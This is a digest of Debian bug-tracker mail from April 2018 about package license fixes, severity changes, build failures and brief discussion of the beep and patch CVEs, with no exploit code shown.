Bug#894751: Another upload of libbpp* packages with complete CeCILL license is needed

[Andreas Tille]

Hi Julien,

as you might have noticed I fixed #894751 quickly to enable progress in
the libbpp* library set.  I agreed with ftpmaster Thorsten Alteholz that
we'll do so in all other libbpp packages as soon as possible and he
agreed to my argument that it is better than rejecting the packages since
the new packages might trigger some other issues after the ABI change
we could fix as well in another upload.  I just fixed the licence in Git
of all libbpp* packages.  Please let me know whether you might plan some
other change in the next couple of days.  Otherwise I'll go for a quick
upload to fullfill my promise to ftpmaster. ;-)

BTW, please check all other packages of yours.  The CeCILL license needs
to be included in full text to fullfill the "isolated island" criterion
which means that the user needs to be able to read the full text of a
license even when beeing offline.  Since Debian is not providing a copy
of the CeCILL license a full copy is needed.

Kind regards

 Andreas.

-- 
http://fam-tille.de

Processed: tagging 894993

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> tags 894993 + upstream
Bug #894993 [src:patch] patch: CVE-2018-1000156: input validation vulnerability 
when processing patch files
Added tag(s) upstream.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
894993: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894993
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#894993: patchutils: should restrict input to ed

[Salvatore Bonaccorso]

Hi

The upstream issue discusses possible solutions:
https://savannah.gnu.org/bugs/?53566

Salvatore

Processed: severity of 894993 is grave

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> severity 894993 grave
Bug #894993 [src:patch] patch: CVE-2018-1000156: input validation vulnerability 
when processing patch files
Severity set to 'grave' from 'important'
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
894993: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894993
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#892045: marked as done (usbguard-applet-qt: upgrading libqt5 to experimental's 5.10 breaks the applet)

[Debian Bug Tracking System]

Your message dated Thu, 05 Apr 2018 21:53:26 -0300
with message-id <3130056.PvzaDxFIEd@tonks>
and subject line Closing
has caused the Debian Bug report #892045,
regarding usbguard-applet-qt: upgrading libqt5 to experimental's 5.10 breaks 
the applet
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
892045: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=892045
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: usbguard-applet-qt
Version: 0.7.0+ds1-2+b1
Severity: grave
Justification: renders package unusable

Nothing prevents the user from installing an incompatible Qt 5.10
libraries:

--8<---cut here---start->8---
$ usbguard-applet-qt 
Cannot mix incompatible Qt library (version 0x50a00) with this library (version 
0x50a01)
Aborted
--8<---cut here---end--->8---

Downgrading a number of libqt5* from experimental back to
testing/unstable's 5.9 fixes the issue.

Could it be prevented by requiring libqt5* < 5.10?

-- System Information:
Debian Release: 9.3
  APT prefers oldoldstable
  APT policy: (500, 'oldoldstable'), (500, 'stable'), (70, 'unstable'), (60, 
'testing'), (50, 'experimental'), (40, 'oldstable')
Architecture: amd64 (x86_64)

Kernel: Linux 4.14.0-3-amd64 (SMP w/4 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US.UTF-8 (charmap=UTF-8)
Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages usbguard-applet-qt depends on:
ii  libc6   2.26-6
ii  libgcc1 1:8-20180218-1
ii  libqt5core5a5.9.2+dfsg-12
ii  libqt5gui5  5.9.2+dfsg-12
ii  libqt5svg5  5.9.2-3
ii  libqt5widgets5  5.9.2+dfsg-12
ii  libstdc++6  8-20180218-1
ii  libusbguard00.7.0+ds1-2+b1
ii  usbguard0.7.0+ds1-2+b1

usbguard-applet-qt recommends no packages.

usbguard-applet-qt suggests no packages.

-- no debconf information
--- End Message ---
--- Begin Message ---
A month has gone by without user input. That plus the fact that I consider 
this a non-bug when stuff is in experimental means that I'm closing this bug.

-- 
Never attribute to malice that which is adequately explained by stupidity.
  http://en.wikipedia.org/wiki/Hanlon's_razor

Lisandro Damián Nicanor Pérez Meyer
http://perezmeyer.com.ar/
http://perezmeyer.blogspot.com/


signature.asc
Description: This is a digitally signed message part.
--- End Message ---

Bug#894667: beep: CVE-2018-0492

[Rhonda D'Vine]

 So people are falling for a fake page that is not even well disguised, apply a 
patch from there and now worry about being exploited?  Call me unimpressed, but 
what is expected to be done about that?

 Please, only get your patches through trusted sources, not from windy websites 
that just look shiny on the surface. I can just say well played, holeybeep 
people.

 Enjoy,
Rhonda

Am 5. April 2018 22:46:05 MESZ schrieb Anders Kaseorg :
>On Thu, 5 Apr 2018, Tony Hoyle wrote:
>> It's concerning that the holeybeep.ninja site exploited an unrelated 
>> fault for 'fun' without apparently telling anyone.
>
>To be fair, they told you exactly what was going to happen: “Apply this
>
>[patch] as soon as possible using the following command: patch -p1 < 
>beep.diff. A short beep should be heard if all hunks are applied 
>successfully.”
>
>Anders

-- 
Diese Nachricht wurde von meinem Android-Mobiltelefon mit K-9 Mail gesendet.

Processed: your mail

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> package etherape
Limiting to bugs with field 'package' containing at least one of 'etherape'
Limit currently set to 'package':'etherape'

> # 0.9.17 has fixed this, as the bug was introduced in 0.9.16. Thanks!
> tags 894313 fixed-upstream
Bug #894313 [etherape] etherape: Crashes on startup
Added tag(s) fixed-upstream.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
894313: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894313
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#894667: beep: CVE-2018-0492

[Anders Kaseorg]

On Thu, 5 Apr 2018, Tony Hoyle wrote:
> It's concerning that the holeybeep.ninja site exploited an unrelated 
> fault for 'fun' without apparently telling anyone.

To be fair, they told you exactly what was going to happen: “Apply this 
[patch] as soon as possible using the following command: patch -p1 < 
beep.diff. A short beep should be heard if all hunks are applied 
successfully.”

Anders

Processed: Re: Bug#893755: python3.6: Dropped python3-distutils dependency makes hundreds of packages FTBFS

[Debian Bug Tracking System]

Processing control commands:

> severity -1 serious
Bug #893755 [src:python3.6] python3.6: Dropped python3-distutils dependency 
makes hundreds of packages FTBFS
Severity set to 'serious' from 'important'

-- 
893755: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=893755
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed: autopkgtest failures are not (yet?) RC

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> severity 894924 important
Bug #894924 [node-abstract-leveldown] Quoting fixed in autopkgtest 5.2
Severity set to 'important' from 'serious'
> severity 894925 important
Bug #894925 [node-ansi] Quoting fixed in autopkgtest 5.2
Severity set to 'important' from 'serious'
> severity 894926 important
Bug #894926 [node-archy] Quoting fixed in autopkgtest 5.2
Severity set to 'important' from 'serious'
> severity 894927 important
Bug #894927 [node-bl] Quoting fixed in autopkgtest 5.2
Severity set to 'important' from 'serious'
> severity 894928 important
Bug #894928 [node-body-parser] Quoting fixed in autopkgtest 5.2
Severity set to 'important' from 'serious'
> severity 894929 important
Bug #894929 [node-browserify-lite] Quoting fixed in autopkgtest 5.2
Severity set to 'important' from 'serious'
> severity 894930 important
Bug #894930 [node-clarinet] Quoting fixed in autopkgtest 5.2
Severity set to 'important' from 'serious'
> severity 894931 important
Bug #894931 [node-content-disposition] Quoting fixed in autopkgtest 5.2
Severity set to 'important' from 'serious'
> severity 894932 important
Bug #894932 [node-cookie] Quoting fixed in autopkgtest 5.2
Severity set to 'important' from 'serious'
> severity 894933 important
Bug #894933 [node-cookies] Quoting fixed in autopkgtest 5.2
Severity set to 'important' from 'serious'
> severity 894935 important
Bug #894935 [src:node-cookie-signature] Quoting fixed in autopkgtest 5.2
Severity set to 'important' from 'serious'
> severity 894936 important
Bug #894936 [src:node-depd] Quoting fixed in autopkgtest 5.2
Severity set to 'important' from 'serious'
> severity 894937 important
Bug #894937 [src:node-entities] Quoting fixed in autopkgtest 5.2
Severity set to 'important' from 'serious'
> severity 894938 important
Bug #894938 [src:node-fd-slicer] Quoting fixed in autopkgtest 5.2
Severity set to 'important' from 'serious'
> severity 894939 important
Bug #894939 [src:node-findit2] Quoting fixed in autopkgtest 5.2
Severity set to 'important' from 'serious'
> severity 894940 important
Bug #894940 [src:node-groove] Quoting fixed in autopkgtest 5.2
Severity set to 'important' from 'serious'
> severity 894941 important
Bug #894941 [src:node-gyp] Quoting fixed in autopkgtest 5.2
Severity set to 'important' from 'serious'
> severity 894942 important
Bug #894942 [src:node-leveldown] Quoting fixed in autopkgtest 5.2
Severity set to 'important' from 'serious'
> severity 894943 important
Bug #894943 {Done: Bas Couwenberg } [src:node-mapnik] 
Quoting fixed in autopkgtest 5.2
Severity set to 'important' from 'serious'
> severity 894944 important
Bug #894944 [src:node-media-typer] Quoting fixed in autopkgtest 5.2
Severity set to 'important' from 'serious'
> severity 894945 important
Bug #894945 [src:node-multiparty] Quoting fixed in autopkgtest 5.2
Severity set to 'important' from 'serious'
> severity 894946 important
Bug #894946 [src:node-music-library-index] Quoting fixed in autopkgtest 5.2
Severity set to 'important' from 'serious'
> severity 894947 important
Bug #894947 [src:node-nwmatcher] Quoting fixed in autopkgtest 5.2
Severity set to 'important' from 'serious'
> severity 894948 important
Bug #894948 [src:node-on-finished] Quoting fixed in autopkgtest 5.2
Severity set to 'important' from 'serious'
> severity 894949 important
Bug #894949 [src:node-parseurl] Quoting fixed in autopkgtest 5.2
Severity set to 'important' from 'serious'
> severity 894950 important
Bug #894950 [src:node-pend] Quoting fixed in autopkgtest 5.2
Severity set to 'important' from 'serious'
> severity 894951 important
Bug #894951 [src:node-pre-gyp] Quoting fixed in autopkgtest 5.2
Severity set to 'important' from 'serious'
> severity 894952 important
Bug #894952 [src:node-qs] Quoting fixed in autopkgtest 5.2
Severity set to 'important' from 'serious'
> severity 894953 important
Bug #894953 [src:node-srs] Quoting fixed in autopkgtest 5.2
Severity set to 'important' from 'serious'
> severity 894954 important
Bug #894954 [src:node-stylus] Quoting fixed in autopkgtest 5.2
Severity set to 'important' from 'serious'
> severity 894955 important
Bug #894955 [src:node-ws] Quoting fixed in autopkgtest 5.2
Severity set to 'important' from 'serious'
> severity 894956 important
Bug #894956 [src:node-yauzl] Quoting fixed in autopkgtest 5.2
Severity set to 'important' from 'serious'
> severity 894957 important
Bug #894957 [src:node-yazl] Quoting fixed in autopkgtest 5.2
Severity set to 'important' from 'serious'
> severity 894958 important
Bug #894958 [src:node-ytdl-core] Quoting fixed in autopkgtest 5.2
Severity set to 'important' from 'serious'
> severity 894959 important
Bug #894959 [src:node-zipfile] Quoting fixed in autopkgtest 5.2
Severity set to 'important' from 'serious'
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
894924: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894924
894925: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug

Processed: Re: Bug#894342: transition: kdepim

[Debian Bug Tracking System]

Processing control commands:

> block -1 by 894913
Bug #894342 [release.debian.org] transition: kdepim
894342 was blocked by: 893515 894818
894342 was not blocking any bugs.
Added blocking bug(s) of 894342: 894913

-- 
894342: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894342
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed: found 893598 in 0~git20180307.2b4c4d7e-1

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> found 893598 0~git20180307.2b4c4d7e-1
Bug #893598 {Done: Nicholas D Steeves } 
[yasnippet-snippets] yasnippet-snippets: Error while updating
Marked as found in versions yasnippet-snippets/0~git20180307.2b4c4d7e-1.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
893598: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=893598
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed: notfound 893598 in 0~git20161123-1

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> notfound 893598 0~git20161123-1
Bug #893598 {Done: Nicholas D Steeves } 
[yasnippet-snippets] yasnippet-snippets: Error while updating
No longer marked as found in versions yasnippet-snippets/0~git20161123-1.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
893598: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=893598
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#894104: marked as done (pulseaudio FTBFS with glibc 2.27)

[Debian Bug Tracking System]

Your message dated Thu, 05 Apr 2018 19:39:13 +
with message-id 
and subject line Bug#894104: fixed in pulseaudio 11.1-5
has caused the Debian Bug report #894104,
regarding pulseaudio FTBFS with glibc 2.27
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
894104: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894104
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Source: pulseaudio
Version: 11.1-4
Severity: serious

https://tests.reproducible-builds.org/debian/rb-pkg/unstable/amd64/pulseaudio.html

...
In file included from pulsecore/shm.c:48:0:
./pulsecore/memfd-wrappers.h:36:19: error: static declaration of 'memfd_create' 
follows non-static declaration
 static inline int memfd_create(const char *name, unsigned int flags) {
   ^~~~
In file included from /usr/include/x86_64-linux-gnu/bits/mman-linux.h:115:0,
 from /usr/include/x86_64-linux-gnu/bits/mman.h:45,
 from /usr/include/x86_64-linux-gnu/sys/mman.h:41,
 from pulsecore/shm.c:37:
/usr/include/x86_64-linux-gnu/bits/mman-shared.h:46:5: note: previous 
declaration of 'memfd_create' was here
 int memfd_create (const char *__name, unsigned int __flags) __THROW;
 ^~~~
--- End Message ---
--- Begin Message ---
Source: pulseaudio
Source-Version: 11.1-5

We believe that the bug you reported is fixed in the latest version of
pulseaudio, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 894...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Felipe Sateler  (supplier of updated pulseaudio package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

Format: 1.8
Date: Thu, 05 Apr 2018 15:55:56 -0300
Source: pulseaudio
Binary: pulseaudio pulseaudio-utils pulseaudio-esound-compat 
pulseaudio-module-zeroconf pulseaudio-module-jack pulseaudio-module-lirc 
pulseaudio-module-gconf pulseaudio-module-raop pulseaudio-module-bluetooth 
pulseaudio-equalizer libpulse0 libpulse-mainloop-glib0 libpulse-dev libpulsedsp
Architecture: source
Version: 11.1-5
Distribution: unstable
Urgency: medium
Maintainer: Pulseaudio maintenance team 

Changed-By: Felipe Sateler 
Description:
 libpulse-dev - PulseAudio client development headers and libraries
 libpulse-mainloop-glib0 - PulseAudio client libraries (glib support)
 libpulse0  - PulseAudio client libraries
 libpulsedsp - PulseAudio OSS pre-load library
 pulseaudio - PulseAudio sound server
 pulseaudio-equalizer - Equalizer sink module for PulseAudio sound server
 pulseaudio-esound-compat - PulseAudio ESD compatibility layer
 pulseaudio-module-bluetooth - Bluetooth module for PulseAudio sound server
 pulseaudio-module-gconf - GConf module for PulseAudio sound server
 pulseaudio-module-jack - jackd modules for PulseAudio sound server
 pulseaudio-module-lirc - lirc module for PulseAudio sound server
 pulseaudio-module-raop - RAOP module for PulseAudio sound server
 pulseaudio-module-zeroconf - Zeroconf module for PulseAudio sound server
 pulseaudio-utils - Command line tools for the PulseAudio sound server
Closes: 894104 894489
Changes:
 pulseaudio (11.1-5) unstable; urgency=medium
 .
   * Change Vcs-* urls to new home in salsa.debian.org
   * Backport upstream patch to use memfd_create wrapper provided by glibc
 if available.
 (Closes: #894104)
   * Pick upstream patch to port qpaeq to Qt5 (Closes: #894489)
   * Change Vcs-* urls to new home in salsa.debian.org
   * Fix typo in debian/NEWS. Thanks lintian
   * Move bluetooth module to priority optional, extra is deprecated
   * Remove versioned build-dependencies on libraries present in oldoldstable.
 These are libasound2-dev, libbluetooth-dev, libldtl-dev, liborc-0.4-dev,
 libsndfile1-dev, libudev-dev, libxcb1-dev
   * Drop Breaks against ancient libjack versions, already present in 
oldoldstable
   * Drop Breaks against ancient pavucontrol and pulseaudio versions
Checksums-Sha1:
 010849d3356d922d952f7c52f7eaf0836e5b8ae1 3775 pulseaudio_11.1-5.dsc
 cb1460152eda632b44b42a87f3fd6643f648744d 46160 pulseaudio_11.1-5.debian.tar.xz
Checksums-Sha256:
 bc963248141db3d3993dd26c4d49c38ca0c78edf77a7f98fd8172f0c9

Bug#894978: lightning: Unable to create event with experimental version (working before migration to 58)

[Eric Valette]

Package: lightning
Version: 1:58.0~b3-1
Severity: grave
Justification: renders package unusable

Wanted to send an event as a reminder and was uable to vreate the event either
by clicking, or keyboard.

-- System Information:
Debian Release: buster/sid
  APT prefers unstable
  APT policy: (500, 'unstable'), (1, 'experimental')
Architecture: amd64 (x86_64)

Kernel: Linux 4.14.32 (SMP w/8 CPU cores; PREEMPT)
Locale: LANG=fr_FR.UTF8, LC_CTYPE=fr_FR.UTF8 (charmap=UTF-8), LANGUAGE= 
(charmap=UTF-8)
Shell: /bin/sh linked to /bin/bash
Init: systemd (via /run/systemd/system)

Versions of packages lightning depends on:
ii  thunderbird  1:58.0~b3-1

lightning recommends no packages.

Versions of packages lightning suggests:
ii  calendar-google-provider  1:58.0~b3-1
ii  fonts-lyx 2.3.0-2

-- no debconf information

Processed: retitle 894869 to gitlab: CVE-2018-9243: Persistent XSS in filename of merge request

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> retitle 894869 gitlab: CVE-2018-9243: Persistent XSS in filename of merge 
> request
Bug #894869 {Done: Pirate Praveen } [src:gitlab] gitlab: 
Persistent XSS in filename of merge request
Changed Bug title to 'gitlab: CVE-2018-9243: Persistent XSS in filename of 
merge request' from 'gitlab: Persistent XSS in filename of merge request'.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
894869: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894869
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed: retitle 894868 to gitlab: CVE-2018-9244: Persistent XSS in milestones data-milestone-id

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> retitle 894868 gitlab: CVE-2018-9244: Persistent XSS in milestones 
> data-milestone-id
Bug #894868 {Done: Pirate Praveen } [src:gitlab] gitlab: 
Persistent XSS in milestones data-milestone-id
Changed Bug title to 'gitlab: CVE-2018-9244: Persistent XSS in milestones 
data-milestone-id' from 'gitlab: Persistent XSS in milestones 
data-milestone-id'.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
894868: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894868
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Processed: bug 894667 is forwarded to https://github.com/johnath/beep/issues/11

[Debian Bug Tracking System]

Processing commands for cont...@bugs.debian.org:

> forwarded 894667 https://github.com/johnath/beep/issues/11
Bug #894667 [src:beep] beep: CVE-2018-0492
Set Bug forwarded-to-address to 'https://github.com/johnath/beep/issues/11'.
> thanks
Stopping processing here.

Please contact me if you need assistance.
-- 
894667: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=894667
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#894667: beep: CVE-2018-0492

[Tony Hoyle]

The patch vulnerability seems more severe to me, as people apply patches
all the time (they shouldn't do it as root, but people are people).

It's concerning that the holeybeep.ninja site exploited an unrelated
fault for 'fun' without apparently telling anyone.

Tony

Bug#894313: etherape: Crashes on startup

[rghetta]

Yes, it should have.
Statically it was, but unfortunately I forgot to check while running and 
libglade runtime-loaded several gnome libraries.

I've pushed etherape 0.9.17 loading gnomecanvas directly, without glade.
Sorry.

Ciao,
Riccardo



On 05/04/2018 11:10, Patrick Matthäi wrote:

Hi,

with 0.9.15+hg20171110-1 it should be possible to run etherape without 
libgnomeui?


Am 01.04.2018 um 00:44 schrieb John Scott:
> Package: etherape > Version: 0.9.16-1 > Followup-For: Bug #894313 >

I am able to reproduce this issue, but installing libgnomeui-0
(which provides libgnome.so) fixes it for me. Like the upstream
report suggests, this looks like a missing dependency.

-- System Information:
Debian Release: buster/sid
  APT prefers testing-debug
  APT policy: (500, 'testing-debug'), (500, 'testing')
Architecture: amd64 (x86_64)

Kernel: Linux 4.15.0-2-amd64 (SMP w/2 CPU cores)
Locale: LANG=en_US.UTF-8, LC_CTYPE=en_US.UTF-8 (charmap=UTF-8), 
LANGUAGE=en_US.UTF-8 (charmap=UTF-8)

Shell: /bin/sh linked to /bin/dash
Init: systemd (via /run/systemd/system)
LSM: AppArmor: enabled

Versions of packages etherape depends on:
ii  etherape-data    0.9.16-1
ii  libart-2.0-2 2.3.21-3
ii  libatk1.0-0  2.28.1-1
ii  libc-ares2   1.14.0-1
ii  libc6    2.27-2
ii  libcairo2    1.15.10-1
ii  libfontconfig1   2.12.6-0.1
ii  libfreetype6 2.8.1-2
ii  libgdk-pixbuf2.0-0   2.36.11-2
ii  libglade2-0  1:2.6.4-2+b1
ii  libglib2.0-0 2.56.0-4
ii  libgnomecanvas2-0    2.30.3-3
ii  libgtk2.0-0  2.24.32-1
ii  libpango-1.0-0   1.42.0-1
ii  libpangocairo-1.0-0  1.42.0-1
ii  libpangoft2-1.0-0    1.42.0-1
ii  libpcap0.8   1.8.1-6
ii  libpopt0 1.16-10+b2
ii  libxml2  2.9.4+dfsg1-6.1

etherape recommends no packages.

etherape suggests no packages.

-- no debconf information



--
/*
Mit freundlichem Gruß / With kind regards,
 Patrick Matthäi
 GNU/Linux Debian Developer

  Blog: http://www.linux-dev.org/
E-Mail: pmatth...@debian.org
patr...@linux-dev.org
*/

Processed: Re: Bug#818544: sane-backends: diff for NMU version 1.0.25-4.2

[Debian Bug Tracking System]

Processing control commands:

> tag -1 - pending
Bug #887032 [src:sane-backends] sane-backends: FTBFS twice in a row
Removed tag(s) pending.

-- 
887032: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=887032
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems

Bug#893729: marked as done (sympy FTBFS: python3-distutils is now a separate package)

[Debian Bug Tracking System]

Your message dated Thu, 05 Apr 2018 18:36:26 +
with message-id 
and subject line Bug#893729: fixed in sympy 1.1.1-5
has caused the Debian Bug report #893729,
regarding sympy FTBFS: python3-distutils is now a separate package
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
893729: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=893729
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---

Source: sympy
Severity: serious
Control: tags -1 patch
X-Debbugs-Cc: debian-pyt...@lists.debian.org

python3-distutils has been moved out of python3.6 (as of 3.6.5~rc1-2), 
so if you need it, please build-depend on it.  (Or python3-setuptools, 
given that this looks like it might prefer that.)


(Has anyone checked whether there are more of these?)

dpkg-buildpackage: info: source package sympy
dpkg-buildpackage: info: source version 1.1.1-4
dpkg-buildpackage: info: source distribution unstable
dpkg-buildpackage: info: source changed by Yaroslav Halchenko 


dpkg-buildpackage: info: host architecture amd64
 dpkg-source --before-build sympy-1.1.1
 fakeroot debian/rules clean
dh  clean --with python2,python3 --buildsystem=pybuild
   debian/rules override_dh_auto_clean
make[1]: Entering directory 
'/home/rnpalmer/Debian/builds/stackbuild/sympy-1.1.1'

dh_auto_clean
I: pybuild base:217: python2.7 setup.py clean
/usr/lib/python2.7/distutils/dist.py:267: UserWarning: Unknown 
distribution option: 'install_requires'

  warnings.warn(msg)
running clean
I: pybuild base:217: python3.6 setup.py clean
Traceback (most recent call last):
  File "setup.py", line 46, in 
from setuptools import setup, Command
ModuleNotFoundError: No module named 'setuptools'

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "setup.py", line 49, in 
from distutils.core import setup, Command
ModuleNotFoundError: No module named 'distutils'
E: pybuild pybuild:330: clean: plugin distutils failed with: exit 
code=1: python3.6 setup.py clean
dh_auto_clean: pybuild --clean -i python{version} -p 3.6 returned exit 
code 13

make[1]: *** [debian/rules:29: override_dh_auto_clean] Error 25
make[1]: Leaving directory 
'/home/rnpalmer/Debian/builds/stackbuild/sympy-1.1.1'

make: *** [debian/rules:10: clean] Error 2
dpkg-buildpackage: error: fakeroot debian/rules clean subprocess 
returned exit status 2
--- End Message ---
--- Begin Message ---
Source: sympy
Source-Version: 1.1.1-5

We believe that the bug you reported is fixed in the latest version of
sympy, which is due to be installed in the Debian FTP archive.

A summary of the changes between this version and the previous one is
attached.

Thank you for reporting the bug, which will now be closed.  If you
have further comments please address them to 893...@bugs.debian.org,
and the maintainer will reopen the bug report if appropriate.

Debian distribution maintenance software
pp.
Georges Khaznadar  (supplier of updated sympy package)

(This message was generated automatically at their request; if you
believe that there is a problem with it please contact the archive
administrators by mailing ftpmas...@ftp-master.debian.org)


-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

Format: 1.8
Date: Thu, 05 Apr 2018 19:48:46 +0200
Source: sympy
Binary: isympy3 isympy-common python-sympy python3-sympy python-sympy-doc
Architecture: source all
Version: 1.1.1-5
Distribution: unstable
Urgency: medium
Maintainer: Debian Science Maintainers 

Changed-By: Georges Khaznadar 
Description:
 isympy-common - Python shell for SymPy
 isympy3- Python3 shell for SymPy
 python-sympy - Computer Algebra System (CAS) in Python
 python-sympy-doc - Computer Algebra System (CAS) in Python - Documentation
 python3-sympy - Computer Algebra System (CAS) in Python (Python3)
Closes: 893729
Changes:
 sympy (1.1.1-5) unstable; urgency=medium
 .
   * upgraded Standards-Version: 4.1.3
   * added a build-dependency on python3-distutil. Closes: #893729
   * changed obsolete VCS stuff to 
https://salsa.debian.org/science-team/sympy.git
Checksums-Sha1:
 38afa70e4b14939b548898bcdad9567d22a00906 2319 sympy_1.1.1-5.dsc
 ddf4dc37b26a1a0ff6ee6ac134ead5667ea1ba96 10540 sympy_1.1.1-5.debian.tar.xz
 0eb94f6966088fbe4a157e182f84e5851349e6ed 189700 isympy-common_1.1.1-5_all.deb
 ef0c000eebd1dcaaac02eb0a33e7fa61522ff62a 7708 isympy3_1.1.1-5_all.deb
 087c986ded951c25c7321f23431f8ce0bc50cb7d 5099724 
python-sympy-doc_1.1.1-5_all.deb
 fb43d54049518fa9e76a709d9beda6c96c7d33c1 2571544 python-sympy_1.1.1-5_all.deb
 f4510d63f30e2afe6445c169cca72ec935b29ba5 2571588 python3-sympy_1.1.1-

Bug#887032: Bug#818544: sane-backends: diff for NMU version 1.0.25-4.2

[Mattia Rizzolo]

Control: tag -1 - pending

On Thu, Apr 05, 2018 at 08:24:55PM +0200, Jörg Frings-Fürst wrote:
> Hello Mattia,
> 
> this is an objection against the intended NMU.

ACK, I cancelled the deferred upload.

> Reasons:

Please discuss whatever why the person who prepared the NMU, rather than
me (whom you didn't CC).

>  * Use of a directory (tmp/sane-backends) outside the build directory 
>  * The announcement of the NMU took place in a Whishlist bug, which has
>nothing to do with the NMU.
>  * In my response[1] I have clearly stated that my version is available
>for review with my mentor. 

I'll comment only on this: a transition is something possibly longish,
and from what you wrote in #879845 it surely seems like it could be in
this case.
It wouldn't be bad to fix this bug in unstable before, given also the
smaller impact it would have.  Hugh surely must have a reason for
wanting to the length of doing a NMU for this bug that has affected
unstable (and even stable!  but the version tracking of the 3 relevant
bugs were screwed and it wasn't clear until I merged them up…) for quite
some time.

>  * dh_autoreconf is used for update the upstream m4 files with the
>newest one. The "dh_autoreconf -X.m4" command prevents this for all
>upstream data.

-- 
regards,
Mattia Rizzolo

GPG Key: 66AE 2B4A FCCF 3F52 DA18  4D18 4B04 3FCD B944 4540  .''`.
more about me:  https://mapreri.org : :'  :
Launchpad user: https://launchpad.net/~mapreri  `. `'`
Debian QA page: https://qa.debian.org/developer.php?login=mattia  `-


signature.asc
Description: PGP signature

Bug#890007: marked as done (condor ftbfs on all architectures)

[Debian Bug Tracking System]

Your message dated Thu, 05 Apr 2018 18:34:41 +
with message-id 
and subject line Bug#890007: fixed in condor 8.6.8~dfsg.1-2
has caused the Debian Bug report #890007,
regarding condor ftbfs on all architectures
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact ow...@bugs.debian.org
immediately.)


-- 
890007: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=890007
Debian Bug Tracking System
Contact ow...@bugs.debian.org with problems
--- Begin Message ---
Package: src:condor
Version: 8.6.8~dfsg.1-1
Severity: serious
Tags: sid buster

looks it doesn't build with the new gsoap.

cd "/<>/obj-x86_64-linux-gnu/src/condor_collector.V6" &&
/usr/bin/c++  -DBUILD_DATE="\"Feb 06 2018\"" -DCONDOR_VERSION=\"8.6.8\"
-DGLIBC226=GLIBC226 -DGLIBC=GLIBC -DHAVE_CONFIG_H
